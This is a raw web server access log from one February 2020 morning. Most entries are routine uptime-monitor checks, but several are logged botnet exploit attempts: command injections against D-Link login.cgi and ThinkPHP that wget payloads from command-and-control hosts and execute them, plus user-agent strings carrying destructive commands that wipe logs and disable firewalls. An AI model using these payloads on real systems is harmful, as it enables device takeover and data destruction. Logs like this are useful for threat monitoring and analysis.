185.21.69.132 - - [19/Feb/2020:10:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:10:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:10:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.250.12.222 - - [19/Feb/2020:11:01:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:11:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [19/Feb/2020:11:07:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.197.108.38 - - [19/Feb/2020:11:17:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
213.168.251.57 - - [19/Feb/2020:11:17:32 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.9.69.84 - - [19/Feb/2020:11:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
79.9.69.84 - - [19/Feb/2020:11:21:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
93.82.29.252 - - [19/Feb/2020:11:21:49 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
81.214.57.144 - - [19/Feb/2020:11:21:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
109.200.161.111 - - [19/Feb/2020:11:22:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:11:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.145.120.182 - - [19/Feb/2020:11:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.185.110.46 - - [19/Feb/2020:11:28:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:11:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.165.0.225 - - [19/Feb/2020:11:29:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.165.0.225 - - [19/Feb/2020:11:29:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:11:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.191.200.48 - - [19/Feb/2020:11:30:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.231.127.158 - - [19/Feb/2020:11:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [19/Feb/2020:11:32:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:11:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.219.11.153 - - [19/Feb/2020:11:32:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:11:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.82.8 - - [19/Feb/2020:11:34:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:11:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.231.3.212 - - [19/Feb/2020:11:38:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:11:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.229.207.13 - - [19/Feb/2020:11:40:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:11:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.248.46.116 - - [19/Feb/2020:11:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.207.104.172 - - [19/Feb/2020:11:45:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:11:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [19/Feb/2020:11:49:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.127 - - [19/Feb/2020:11:49:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:11:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.85.91.19 - - [19/Feb/2020:11:51:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:11:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.180.86.47 - - [19/Feb/2020:11:56:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:11:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [19/Feb/2020:11:58:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:11:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:11:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.247.11 - - [19/Feb/2020:12:01:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.47.162.97 - - [19/Feb/2020:12:02:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.229.207.13 - - [19/Feb/2020:12:07:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.188.229.115 - - [19/Feb/2020:12:07:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [19/Feb/2020:12:10:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [19/Feb/2020:12:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.172.119.60 - - [19/Feb/2020:12:12:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.34.216.84 - - [19/Feb/2020:12:15:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:12:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.18.89 - - [19/Feb/2020:12:20:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:12:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.253.226.12 - - [19/Feb/2020:12:23:01 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.226.12 - - [19/Feb/2020:12:23:01 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
206.253.226.12 - - [19/Feb/2020:12:23:01 +0100] "GET /scripte/all_scripts.js HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [19/Feb/2020:12:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:12:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.75.134.170 - - [19/Feb/2020:12:34:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
101.255.85.114 - - [19/Feb/2020:12:34:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [19/Feb/2020:12:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [19/Feb/2020:12:34:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:12:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.112.160.108 - - [19/Feb/2020:12:36:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:12:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [19/Feb/2020:12:37:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [19/Feb/2020:12:37:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
